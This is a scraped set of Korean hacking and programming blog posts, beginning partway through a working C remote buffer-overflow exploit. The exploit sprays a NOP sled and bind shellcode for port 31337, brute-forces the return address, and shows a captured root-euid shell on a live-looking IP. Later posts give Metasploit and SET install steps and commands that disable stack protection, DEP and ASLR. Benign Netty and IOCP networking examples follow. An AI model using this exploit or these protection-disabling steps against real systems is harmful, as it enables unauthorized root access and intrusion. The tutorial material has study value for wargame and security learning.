"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";

 

//31337 포트로 열리는 바인드 쉘코드 이다.

 

#define BINDPORT 31337  //telnet 으로 바인드된 곳으로 접속할 포트를 정한다.

//즉 쉘코드가 다른포트로 바뀌면 이부분을 수정한다.

 

 

int main (int argc, char *argv[])

{

int sockfd; 

struct sockaddr_in target_addr;

unsigned char buffer[BUFSIZE];   //exploiting 할 버퍼 값

unsigned int retaddr = 0xbffffff0;  //return addr 을 계속 바꿀 주소값

char cmd[100];   //telnet 명령어를 박을 부분

 

if (argc != 3) {

fprintf(stderr, "Usage: %s <Target Address> <Port>\n", argv[0]);

return -1;

}

 

sprintf(cmd, "%s %s %d", "telnet", argv[1], BINDPORT);  

 //telnet 명령 인자값 구성.//오버플로우 조심하쎼요~

 

while (1) {

 

if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {

printf ("socket error");

return -1;

}

memset(&target_addr, 0, sizeof(target_addr));

target_addr.sin_family = AF_INET;

target_addr.sin_port = htons(atoi(argv[2]));  //target ip

target_addr.sin_addr.s_addr = inet_addr(argv[1]);  //target port

 

if (connect (sockfd, (struct sockaddr*)&target_addr, sizeof(target_addr)) == -1) {

printf(“connect error”);

close(sockfd);

continue;

}

retaddr -= JUMP_OFFSET;  //JUMP_OFFSET만큼 계쏙 감소놉코드 개수와 일치시면 좋다.

memset(buffer, '\x90', sizeof(buffer));  //놉코드로 변수를 초기화한다.

memcpy(buffer+OFFSET, &retaddr, 4);  // ret주소값까지 만큼 떨어진 부분에 저장했던 주소를 넘

memcpy(buffer+100, bindshellcode, strlen(bindshellcode)); //100만큼 떨어진 곳에 바인드 쉘코드를 넣음 즉 옵코드는 대략 50개가 들어가 있음. 때문에JUMP_OFFSET 50이라고 줌

 

send(sockfd, buffer, strlen(buffer), 0);  //소켓을 전송함.

 

system(cmd);  //telnet 을 시도함.

 

close(sockfd);

 

}

 

return 0;

}

 

 

 

telnet: Unable to connect to remote host: Connection refused

Trying 220.95.152.26...

telnet: Unable to connect to remote host: Connection refused

Trying 220.95.152.26...

telnet: Unable to connect to remote host: Connection refused

Trying 220.95.152.26...

Connected to 220.95.152.26.

Escape character is '^]'.

id

: command not found

id;

uid=0(root) gid=0(root) euid=520(death_knight) egid=520(death_knight)

: command not found

my-pass;

euid = 520

 

Posted by k1rha
2012. 6. 19. 23:45

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 6. 19. 03:48

Metasploit Framework 우분투에 설치하기


-루비 의존패키지 설치 

subversion ruby rubygems ruby-openssl libopenssl-ruby 

===========================================================


#sudo apt-get install ruby

#sudo apt-get install rubygems

#sudo apt-get install ruby-openssl

#sudo apt-get install libopenssl-ruby

#sudo apt-get install irb

#sudo apt-get install ri

#sudo apt-get install libyaml-ruby



#sudo apt-get install subversion

#sudo apt-get install build-dep ruby

#sudo apt-get install ruby-dev libpcap-dev


==============================================================



SVN 을 이용하여 메타스플로잇의 코드들을 가져온다 

===============================================================

svn co https://www.metasploit.com/svn/framework3/trunk/

$ mv trunk metasploit  최신에서는 svn을 이용하지 않고 메타익스플로잇 공식 사이트에서 다운받게 된다.


#wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run



$ cd metasploit

$ ./msfconsole


IIIIII    dTb.dTb        _.---._

  II     4'  v  'B   .'"".'/|`.""'.

  II     6.     .P  :  .' / |  `.  :

  II     'T;. .;P'  '.'  /  |    `.'

  II      'T; ;P'    `. /   |    .'

IIIIII     'YvP'       `-.__|__.-'


I love shells --egypt



       =[ metasploit v4.4.0-dev [core:4.4 api:1.0]

+ -- --=[ 884 exploits - 482 auxiliary - 145 post

+ -- --=[ 251 payloads - 28 encoders - 8 nops

       =[ svn r15468 updated today (2012.06.18)


msf >

----------------------------------------------------------------------------------------

명령어 사용법

1.use 

use 명령을 이용하면 원하는 모듈을 선택할 수 있고 그 명령과 관련된 커맨드로 들어간다. 

2.back

특정 모듈작업을 완료했거나 실수로 잘못된 모듈을 선택했다면 현재 선택된 모듈 밖으로 나가야 한다. 이 때 사용하는 것이 back 이다. 


3 check   

타켓의 시스템이 실제로 취약점을 가지고 있고 공격이 가능할 것인가 체크하는 명령어이다. 


4 connect 

msfconsole에 내장된 소형 netcat이라고 보면 된다. 

ssl과 프록시를 지원하고 ip와 port 정보를 넣고 connect를 하면 연결할 수 있다.    

netcat, ftp, telnet 등 원격 호스트에 연결할 수 있다. 


6 jobs 

jobs는 백그라운드로 실행되는 모듈의 작업을 도와준다. 

옵션을 이용해 목록을 볼 수도 있고 종료할 수도 있다.


7 load 

load는 플러그인 디렉토리에서 플러그인을 로드하는 명령어이다. 

기본 플러그인 디렉토리는 /opt/framework3/msf3/plugins 이다. 


8 unload 

load명령어로 로딩된 플러그인을 제거할 때 사용하는 명령어이다.


9 loadpath 

metasploit은 정의된 디렉토리에서 여러가지 정보를 가져오는데 제 3의 디렉토리에서 exploit, encoder, payload 등의 정보를 가져올 때 사용하는 명령어이다. 


10 info

이 명령은 모듈의 여러가지 정보를 볼 때 사용한다. 

보통 옵션이나 취약점을 가지고 있는 시스템의 종류 등을 확인할 때 유용하게 사용된다. 


11 show 

show 명령은 각종 정보의 리스트를 보고 싶을 때 사용한다. 

show auxiliary , show exploits , show payloads , show encoders , show nops 

위에 나열한 것처럼 사용할 수 있다. 


-------------------------------------------------------------------------



=========================================================================



SVN 을 이용하여 메타스플로잇의 SET 을 가져온다 (이는 악성코드같은것을 만들때 쓰인다)


=========================================================================

svn co http://svn.secmaniac.com/social_engineering_toolkit set/


이후 config 파일을 수정해야한다 


#cd config

#vi set_config


METAEXPLOIT PATH =  [절대경로 메타스프로잇 ]

=========================================================================




Posted by k1rha
2012. 6. 16. 15:41

[출처 : hackerschool.org]


gcc -o bookw0rm b.c -fno-stack-protector -z execstack -fno-builtin -mpreferred-stack-boundary=2


                         [스택 보호 ]                [스택 실행= DEP]           [까나리 해제]



dep 없애기
echo 0 > /proc/sys/kernel/exec-shield

ASLR 없애기
echo 0 > /proc/sys/kernel/exec-shield-randomize
sysctl -w kernel.randomize_va_space=0

Posted by k1rha
2012. 6. 14. 11:17


[출처 ] http://shonm.tistory.com/entry/JAVA-netty-%EB%B9%84%EB%8F%99%EA%B8%B0-%EC%9D%B4%EB%B2%A4%ED%8A%B8-%EB%B0%A9%EC%8B%9D-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%ED%94%84%EB%A0%88%EC%9E%84%EC%9B%8C%ED%81%AC-%EC%82%AC%EC%9A%A9%EB%B2%95-2-client



바로 이어서 client 로직을 올려 봅니다.

여기도 2개의 클래스 입니다.

첫 번째로 이벤트 핸들러 클래스 입니다.

package com.incross.netty;

import org.jboss.netty.buffer.ChannelBuffer;
import org.jboss.netty.buffer.ChannelBuffers;
import org.jboss.netty.channel.Channel;
import org.jboss.netty.channel.ChannelFuture;
import org.jboss.netty.channel.ChannelFutureListener;
import org.jboss.netty.channel.ChannelHandlerContext;
import org.jboss.netty.channel.ChannelStateEvent;
import org.jboss.netty.channel.ExceptionEvent;
import org.jboss.netty.channel.MessageEvent;
import org.jboss.netty.channel.SimpleChannelHandler;

public class SimpleClientHandler extends SimpleChannelHandler{


@Override
public void messageReceived(ChannelHandlerContext ctx,MessageEvent e){
ChannelBuffer response = (ChannelBuffer)e.getMessage();

byte[] message = response.array();

System.out.println("message:"+new String(message));
//response 메시지 찍어보기
if(new String(message).equals("server write test")){
//어떤 조건이 들어왔을 때 종료 되는 로직
Channel ch = e.getChannel();

ch.close();

System.out.println("closed");
}


}

//connection 연결 하면 바로 데이터 전송 하도록 하는 메소드
@Override
public void channelConnected(ChannelHandlerContext ctx,ChannelStateEvent e){

Channel ch = e.getChannel();
ChannelBuffer buf = ChannelBuffers.dynamicBuffer();

buf.writeBytes("1234a".getBytes());

ChannelFuture future = ch.write(buf);


future.addListener(new ChannelFutureListener(){
public void operationComplete(ChannelFuture future){
Channel ch = future.getChannel();
//ch.close();
//보내고 응답 안받고 끝내려면 close 해주면 됨
}
});
}



public void exceptionCaught(ChannelHandlerContext ctx,ExceptionEvent e){

e.getCause().printStackTrace();

Channel ch = e.getChannel();

ch.close();
}
}

두 번째로 클라이언트 쪽의 main 클래스 입니다.

package com.incross.netty;

import java.net.InetSocketAddress;
import java.util.concurrent.Executors;

import org.jboss.netty.bootstrap.ClientBootstrap;
import org.jboss.netty.channel.ChannelFactory;
import org.jboss.netty.channel.ChannelFuture;
import org.jboss.netty.channel.ChannelPipeline;
import org.jboss.netty.channel.ChannelPipelineFactory;
import org.jboss.netty.channel.Channels;
import org.jboss.netty.channel.socket.nio.NioClientSocketChannelFactory;

public class SimpleClient {

/**
* @param args
*/
public static void main(String[] args) {
// TODO Auto-generated method stub
int port = 8000;

ChannelFactory factory = new NioClientSocketChannelFactory(
Executors.newCachedThreadPool(),
Executors.newCachedThreadPool()
);

ClientBootstrap bootstrap = new ClientBootstrap(factory);

bootstrap.setPipelineFactory(new ChannelPipelineFactory() {

@Override
public ChannelPipeline getPipeline() throws Exception {
// TODO Auto-generated method stub

return Channels.pipeline(new SimpleClientHandler());
}
});


bootstrap.setOption("tcpNoDelay", true);
bootstrap.setOption("keepAlive", true);

ChannelFuture future = bootstrap.connect(new InetSocketAddress("localhost",port));



// 아래 부터는 connection 끊어 졌을 때를 위한 처리
future.awaitUninterruptibly();

if(!future.isSuccess()){
future.getCause().printStackTrace();
}

future.getChannel().getCloseFuture().awaitUninterruptibly();

factory.releaseExternalResources();
//connection 끊어졌을 때 자원 회수
}

}

Posted by k1rha
2012. 6. 6. 19:49

IOCP예제 코드 


[출처 : http://cafe.naver.com/boolnim/403 ]



클라이언트 소스코드

 

 

#include <stdio.h>

#include <stdlib.h>

#include <winsock2.h>

 

void ErrorHandling(char *message);

 

int main()

{

         WSADATA wsaData;

         SOCKET hSocket;

         SOCKADDR_IN recvAddr;

 

         WSABUF dataBuf;

         char message[1024] = {0,};

         int sendBytes = 0;

         int recvBytes = 0;

         int flags = 0;

 

         WSAEVENT event;

         WSAOVERLAPPED overlapped;

 

 

         if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) /* Load Winsock 2.2 DLL */

                  ErrorHandling("WSAStartup() error!");

 

         hSocket=WSASocket(PF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED);

         if(hSocket == INVALID_SOCKET)

                  ErrorHandling("socket() error");

 

         memset(&recvAddr, 0, sizeof(recvAddr));

         recvAddr.sin_family=AF_INET;

         recvAddr.sin_addr.s_addr=inet_addr("127.0.0.1");

         recvAddr.sin_port=htons(atoi("2738"));

 

         if(connect(hSocket, (SOCKADDR*)&recvAddr, sizeof(recvAddr))==SOCKET_ERROR)

                  ErrorHandling("connect() error!");

 

 

         //구조체에이벤트핸들삽입해서전달

         event = WSACreateEvent();

         memset(&overlapped, 0, sizeof(overlapped));

 

         overlapped.hEvent=event;

 

 

 

         //전송할데이터

         while(true)

         {

                  flags = 0;

                  printf("전송할데이터(종료를원할시exit)\n:");

                  scanf("%s",message);

 

                  if(! strcmp(message,"exit")) break;

 

                  dataBuf.len=strlen(message);

                  dataBuf.buf=message;

 

                  if(WSASend(hSocket, &dataBuf, 1, (LPDWORD)&sendBytes, 0, &overlapped, NULL)==SOCKET_ERROR)

                  {

                           if(WSAGetLastError() != WSA_IO_PENDING)

                                   ErrorHandling("WSASend() error");

                  }

 

                  //전송완료확인

                  WSAWaitForMultipleEvents(1, &event, TRUE, WSA_INFINITE, FALSE); //데이터전송끝났는지확인

 

                  //전송된바이트수확인

                  WSAGetOverlappedResult(hSocket, &overlapped, (LPDWORD)&sendBytes, FALSE, NULL);//실지로전송된바이트수를얻어낸다.

                  printf("전송된바이트수: %d \n", sendBytes);

                  if(WSARecv(hSocket, &dataBuf, 1, (LPDWORD)&recvBytes, (LPDWORD)&flags, &overlapped, NULL) ==SOCKET_ERROR)

                  {

                           if(WSAGetLastError() != WSA_IO_PENDING)

                                   ErrorHandling("WSASend() error");

                  }

                  printf("Recv[%s]\n",dataBuf.buf);

         }

 

         closesocket(hSocket);

         WSACleanup();

 

         return 0;

}

 

void ErrorHandling(char *message)

{

         fputs(message, stderr);

         fputc('\n', stderr);

         exit(1);

}




[ IOCP 서버 부분 ] 



/*

* Port_EchoServer.c

* Written by SW. YOON

* 주석 브라우니

*/

 

#include <stdio.h>

#include <stdlib.h>

#include <winsock2.h>

#include <process.h>

 

#define BUFSIZE 1024

 

typedef struct //소켓정보를구조체화.

{

         SOCKET hClntSock;

         SOCKADDR_IN clntAddr;

} PER_HANDLE_DATA, *LPPER_HANDLE_DATA;

 

typedef struct // 소켓의버퍼정보를구조체화.

{

         OVERLAPPED overlapped;

         char buffer[BUFSIZE];

         WSABUF wsaBuf;

} PER_IO_DATA, *LPPER_IO_DATA;

/*

소켓 버퍼 정보를 구조체로 만드는데 이때 WSABUF 와 overlapped 를 포함한다.

WSABUF WSASend WSARecv 함수의 인자로 전달되는 버퍼에 사용되는 구조체 이기에 포함 되고

overlapped 구조체 변수를 넣어주는건 현재 완료된 입출력 정보를 얻어 낼때 사용 된다.

*/

 

unsigned int __stdcall CompletionThread(LPVOID pComPort);

/*

완료된 쓰레드에 관한 처리를 해주는 함수 이다.

*/

 

void ErrorHandling(char *message);

 

int main(int argc, char** argv)

{

         WSADATA wsaData;

         HANDLE hCompletionPort;

         // 만들어질 CompletionPort가 전달될 Handle

 

         SYSTEM_INFO SystemInfo;

         /*

         시스템 정보가 전달됨 쓰레드를 생성할때 CPU 의 개수에 따라

         쓰레드를 만들어 줘야 하기 때문에 정보를 얻어옴

         */

         SOCKADDR_IN servAddr;

 

         LPPER_IO_DATA PerIoData;

         //위에서구조체로만들어준소켓의버퍼정보

        

         LPPER_HANDLE_DATA PerHandleData;

         //소켓정보가저장될구조체여기서는소켓핸들과주소를가지고있다.

 

         SOCKET hServSock;

         int RecvBytes;

         int i, Flags;

 

         if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) /* Load Winsock 2.2 DLL */

                  ErrorHandling("WSAStartup() error!");

 

         //1. Completion Port 생성.

         hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0);

         /*

         CreateIoCompletionPort 의 첫번째에 해당하며

         Completion Port 를 만들어주는 부분이다.

         은행이야기를 예로 들자면 은행을 만들어 주는 부분이 된다.

         */

 

         GetSystemInfo(&SystemInfo);

         /*

         시스템 정보를 얻어온다.

         이는 앞서 말했지만 CPU의 개수만큼 쓰레드를 만들기 위해서 이다

         이렇게 얻어온 시스템 정보는 맴버변수 dwNumberOfProcessors CPU의 개수가들어간다.

         */

 

         //2. Completion Port 에서 입출력 완료를 대기하는 쓰레드를 CPU 개수만큼 생성.

         for(i=0; i<SystemInfo.dwNumberOfProcessors; i++)

                  _beginthreadex(NULL, 0, CompletionThread, (LPVOID)hCompletionPort, 0, NULL);

         /*

                  CPU의 개수만큼 쓰레드를 만들어 주는 부분이다.

                  이때 새로 만들어지는 쓰레드에 미리 만들어둔 Completion Port 를전달하는데

                  이를통해 unsigned int __stdcall CompletionThread(LPVOID pComPort); 함수의인자로

                  쓰레드로 전달한 Completion Port 가전달된다.

 

                  은행을 예로들자면 은행원을 고용하는 부분 입니다.

                  은행 크기에 맞게 은행원을 고용하게됩니다

                  또한 은행원의 소속을 현재 만들어준 은행이라고 나타내는 부분입니다.

         */

 

         hServSock = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED);

         // 소켓을 만들때는 꼭 중첩 입출력 형식으로 만들어 주어야 한다.

         servAddr.sin_family=AF_INET;

         servAddr.sin_addr.s_addr=htonl(INADDR_ANY);

         servAddr.sin_port=htons(atoi("2738"));

 

         bind(hServSock, (SOCKADDR*)&servAddr, sizeof(servAddr));

         listen(hServSock, 5);

 

         while(TRUE)

         { 

                  SOCKET hClntSock;

                  SOCKADDR_IN clntAddr; 

                  int addrLen=sizeof(clntAddr);

 

                  hClntSock=accept(hServSock, (SOCKADDR*)&clntAddr, &addrLen); 

 

                  // 연결된클라이언트의소켓핸들정보와주소정보를설정.

                  PerHandleData=(LPPER_HANDLE_DATA)malloc(sizeof(PER_HANDLE_DATA)); 

                  PerHandleData->hClntSock=hClntSock;

                  memcpy(&(PerHandleData->clntAddr), &clntAddr, addrLen);

                  /*

                  PerHandleData에 연결된 클라이언트의 정보들을 저장한다.

                  이때 동적 할당으로 정보를 저장 하는데 동적 할당을 모른다면 공부하고 오도록 하자

                  */

 

                  //3. Overlapped 소켓과 CompletionPort의 연결.

                  CreateIoCompletionPort((HANDLE)hClntSock, hCompletionPort, (DWORD)PerHandleData, 0);

                  /*

                  CreateIoCompletionPort 의 두번째 기능에 해당 한다.

                  현재 연결된 클라이언트와 만들어둔 CompletionPort 오브젝트를 연결 해준다.             

                  세번째 인자로 위에서 클라이언트 정보를 저장했던 PerHandleData를 넘겨 준다.

                  이를 통해서 입출력이 완료된 클라이언트의 정보를 얻는것이 가능 하다.

                  잠시후 아래에서 이부분을 시보라고 기제하게 될것 이다.

 

                  은행으로 치자면

                  은행에 손님이 들어오게 되는 부분 입니다.

                  */

 

                  // 연결된 클라이언트를 위한 버퍼를 설정하고 OVERLAPPED 구조체 변수 초기화.

                  PerIoData=(LPPER_IO_DATA)malloc(sizeof(PER_IO_DATA));

                  memset(&(PerIoData->overlapped), 0, sizeof(OVERLAPPED)); 

                  PerIoData->wsaBuf.len=BUFSIZE;

                  PerIoData->wsaBuf.buf=PerIoData->buffer;

                  /*

                  PerIoData 를 만들어 주고 초기화 합니다.

                  이는 소켓 버퍼정보를 지니는 구조체 입니다.

                  */

                  Flags=0;

 

                  //4. 중첩된 데이터입력.

                  WSARecv(PerHandleData->hClntSock, // 데이터 입력소켓.

                           &(PerIoData->wsaBuf),  // 데이터 입력 버퍼포인터.

                           1,       // 데이터 입력 버퍼의 수.

                           (LPDWORD)&RecvBytes,    

                           (LPDWORD)&Flags,

                           &(PerIoData->overlapped), // OVERLAPPED 구조체 포인터.

                           NULL

                           );  

                  /*

                  이부분은 중첩입출력 부분에서 배웠으므로 자세히 설명하지는 않도록 하겠다.

                  다만 유의해서 볼점은 여섯번째 인자로 전달된PerIoData 구조체에 overlapped 이다.

                  조금 있다가 이부분도 다시보게 될것이다.

                  */

         }

         return 0;

}

 

//입출력 완료에 따른 쓰레드의 행동 정의

unsigned int __stdcall CompletionThread(LPVOID pComPort)

 

{

         HANDLE hCompletionPort =(HANDLE)pComPort;

         /*

         인자로 받은 pComPort 에는 main의 hCompletionPort 가 전달 된다.

         이는 쓰레드를 생성시 main 의 hCompletionPort 를 인자로 전달 했기 때문이다.

         */

 

         DWORD BytesTransferred;

         LPPER_HANDLE_DATA PerHandleData;

         LPPER_IO_DATA PerIoData;

         DWORD flags;

 

         while(1)

         {

                  // 5. 입출력이 완료된 소켓의 정보 얻음.

                  GetQueuedCompletionStatus(hCompletionPort,    // Completion Port

                           &BytesTransferred,   // 전송된 바이트수

                           (LPDWORD)&PerHandleData,

                           (LPOVERLAPPED*)&PerIoData, // OVERLAPPED 구조체 포인터.

                           INFINITE

                           );

                  /*

                  첫번째 인자로 전달된 hCompletionPort 의연결된 소켓들 중에

                  입출력을 완료한 소켓이 있다면 리턴 한다.

                  그렇지 않다면 입출력의 완료가 될때까지 기다린다.

                  이때 세번째 인자로 전달된 PerHandleData 은입출력이 완료된 소켓이

                  hCompletionPort 와 연결 할때 같이 세번째 인자로 전달했던 클라이언트 정보가 전달 된다.

                  위에가서 다시보고 오도록 하자.

                  네번째 인자로 전달된 PerIoData 에는Send Recv 시에 전달했던

                  overapped 구조체 변수의 포인터를 얻기 위해사용된다.

                 

                  위로 올라가 Recv 함수 호출시 어떻게 overlapped 구조체 변수의 주소를 전달했는지 보고 오도록하자.

                  여기서 우리가 LPPER_IO_DATA 구조체로 overlapped 구조체 정보를 얻어올때 Recv 시 전달했던

                  데이터 정보들도 같이 받아오게 된다.

                  이는 받아오게 되는 overlapped 구조체 주소가 실제로는 LPPER_IO_DATA 구조체의 주소이기 때문이다.

                  LPPER_IO_DATA 구조체를 만들어 줄때 가장 먼저 포함 시킨 맴버가 무엇인지 보고 오도록 하자.

                  LPPER_IO_DATA 구조체의 시작주소 와 overlapped 구조체의 시작주소는 같기 때문에 가능하다.

                  */

 

                  if(BytesTransferred==0) //EOF 전송시.

                  {

                           closesocket(PerHandleData->hClntSock);

                           free(PerHandleData);

                           free(PerIoData);

                           /*

                           클라이언트의 연결 종료시 처리를 해준다.

                           free 가 이해가 안된다면 동적할당을 배우고 오도록..

                           */

                           continue

                  } 

                 

                  PerIoData->wsaBuf.buf[BytesTransferred] = '\0';

                  printf("Recv[%s]\n",PerIoData->wsaBuf.buf);

                  // 6. 메시지클라이언트로에코.

                  PerIoData->wsaBuf.len=BytesTransferred;

                  WSASend(PerHandleData->hClntSock, &(PerIoData->wsaBuf), 1, NULL, 0, NULL, NULL);

 

                  // RECEIVE AGAIN

                  memset(&(PerIoData->overlapped), 0, sizeof(OVERLAPPED));

                  PerIoData->wsaBuf.len=BUFSIZE;

                  PerIoData->wsaBuf.buf=PerIoData->buffer;

 

                  flags=0;

                  WSARecv(PerHandleData->hClntSock,

                           &(PerIoData->wsaBuf),

                           1,

                           NULL,

                           &flags,

                           &(PerIoData->overlapped),

                           NULL

                           );      

         }

         return 0;

}

 

void ErrorHandling(char *message)

{

         fputs(message, stderr);

         fputc('\n', stderr);

         exit(1);

}

 





Posted by k1rha